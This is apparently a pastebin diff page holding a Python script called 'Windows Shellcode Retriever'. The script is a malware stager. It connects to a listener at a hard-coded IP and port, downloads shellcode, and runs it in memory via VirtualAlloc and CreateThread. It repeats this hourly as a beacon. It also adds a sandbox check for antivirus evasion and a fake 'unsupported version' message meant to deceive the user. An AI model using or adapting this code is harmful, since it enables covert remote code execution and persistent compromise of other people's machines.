View difference between Paste ID: mic8SdLE and Uj5HKR1A
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/env python
2
#
3
# Windows Shellcode Retriever
4
# By: HR
5
#
6
# It's just a slightly modified version of Joshua Pitts' Shellcode Retriever Script...
7
# Use Shellcode Sender on the other end to serve up your payloads for execution
8
#
9
10
import ctypes, os, signal, socket, sys, time
11
12
TARGET='192.168.1.4' # Shellcode Sender Listener IP
13
PORT=31337           # Shellcode Sender Listener Port
14
BEACON=True          # Repeat Shellcode Retrival
15
BEACON_DELAY=3600    # 1 hour delay between retrieval attempts
16
17
18
def system_info():
19
  """
20
     Check System Info and Returns Info in Dictionary Array
21
       {
22
         'Available Physical Memory': '644 MB',
23
         'Product ID': '00426-OEM-8992662-00006',
24
         'OS Name': 'Microsoft Windows 7 Ultimate',
25
         'BIOS Version': 'Phoenix Technologies LTD 6.00, 7/2/2012',
26
         'System Model': 'VMware Virtual Platform', 
27
         'System type': 'X86-based PC',
28
         'Total Physical Memory': '1,023 MB',
29
         'Logon Server': '\\\\WIN-6CQ3JVLCHM4',
30
         'Domain': 'WORKGROUP',
31
         'Windows Directory': 'C:\\Windows',
32
         'OS Version': '6.1.7601 Service Pack 1 Build 7601',
33
         'System Manufacturer': 'VMware, Inc.',
34
         'Host Name': 'WIN-6CQ3JVLCHM4'
35
       }
36
37
     Example:
38
        >>> info = SysInfo()
39
        >>> info['OS Version']
40
        '6.1.7601 Service Pack 1 Build 7601'
41
42
     Borrowed from our sacred stackoverflow: 
43
        http://stackoverflow.com/questions/467602/how-can-i-read-system-information-in-python-on-windows
44
  """
45
  values  = {}
46
  cache   = os.popen2("SYSTEMINFO")
47
  source  = cache[1].read()
48
  sysOpts = ["Host Name", "OS Name", "OS Version", "Product ID", "System Manufacturer", "System Model", "System type", "BIOS Version", "Domain", "Windows Directory", "Total Physical Memory", "Available Physical Memory", "Logon Server"]
49
  for opt in sysOpts:
50
    values[opt] = [item.strip() for item in re.findall("%s:\w*(.*?)\n" % (opt), source, re.IGNORECASE)][0]
51
  return values
52
53
54
def decoy_message():
55
  """ Decoy Message to Present to User on Epic Failure """
56
  info = system_info()
57
  print "\n[x] Unsupported Windows Version!"
58
  print "   [*] Platform: %s" % sys.platform
59
  print "   [x] Build Version: %s" % info['OS Version']
60
  print "\n[*] Keep Checking Developer Site for updates...\n\n"
61
  sys.exit(0)
62
63
64
def sandbox_check():
65
  """
66
     Quick sandbox check for additional av evasion.
67
     And a message to throw the user off.
68
  """
69
  ##################################################################################
70
  # Add some mathematical stuff or some time consuming activities for added delays #
71
  ##################################################################################
72
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
73
  sandbox = True
74
  try:
75
    s.connect(('127.0.0.1', 445))
76
    s.close()
77
    sandbox = False
78
  except:
79
    pass
80
  if sandbox == True:
81
    try:
82
      s.connect(('127.0.0.1', 135))
83
      s.close()
84
    except:
85
      # Mission Abort!
86
      decoy_message()
87
88
89
def run_shellcode(shellcode):
90
  """ 
91
     ctypes VritualAlloc, MoveMem, and CreateThread 
92
     From http://www.debasish.in/2012_04_01_archive.html
93
  """
94
  # Get pointer to our allocated memory space
95
  pointer = ctypes.windll.kernel32.VirtualAlloc(
96
    ctypes.c_int(0), 
97
    ctypes.c_int(len(shellcode)), 
98
    ctypes.c_int(0x3000), 
99
    ctypes.c_int(0x40)
100
  )
101
102
  # Move Shellcode into memory
103
  buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
104
  ctypes.windll.kernel32.RtlMoveMemory(
105
    ctypes.c_int(pointer), 
106
    buf, 
107
    ctypes.c_int(len(shellcode))
108
  )
109
 
110
  # Create new thread and run our shellcode in it
111
  thread_handle = ctypes.windll.kernel32.CreateThread(
112
    ctypes.c_int(0), 
113
    ctypes.c_int(0), 
114
    ctypes.c_int(pointer), 
115
    ctypes.c_int(0), 
116
    ctypes.c_int(0), 
117
    ctypes.pointer(ctypes.c_int(0))
118
  )
119
120
  # Wait for our thread to finish or timeout
121
  ctypes.windll.kernel32.WaitForSingleObject(
122
    ctypes.c_int(thread_handle),
123
    ctypes.c_int(-1)
124
  )
125
  return
126
127
128
129
def fetch_shellcode(target, port):
130
  """
131
     Raw TCP Socket Request to Target:Port to grab our remote shellcode
132
     The received Shellcode is then passed off to be run
133
  """
134
  # Open TCP Socket Connection to target:port
135
  print '[*] Downloading Shellcode...'
136
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
137
  s.connect((target,port))
138
139
  # Receive shellcode
140
  data = s.recv(1024)
141
  shellcode = data
142
  while data != '':
143
    data = s.recv(1024)
144
    if data == '':
145
      break
146
    else:
147
      shellcode += data
148
149
  # Convert to Bytearray for usability sake
150
  shellcode = bytearray(shellcode)
151
152
  # Pass to be run in memory...
153
  print '[*] Executing Shellcode in Memory....'
154
  run_shellcode(shellcode)
155
156
157
158
def main():
159
  # Does making connetions raise alerts?
160
  sandbox_check()
161
	
162
  if TARGET == '':
163
    decoy_message() # If you cant read and edit source, you fail
164
#    TARGET = raw_input("Enter Shellcode Listner IP: ")
165
#    PORT = raw_input("Enter Shellcode Listner Port: ")
166
  try:
167
    fetch_shellcode(TARGET, int(PORT))
168
    while BEACON is True:
169
#      print '[*] Sleeping for %d seconds....' % BEACON_DELAY
170
      time.sleep(BEACON_DELAY)
171
      fetch_shellcode(TARGET, int(PORT))
172
            
173
  except Exception, e:
174
#    print str(e)
175
    pass
176
    
177
if __name__ == "__main__":
178
  main()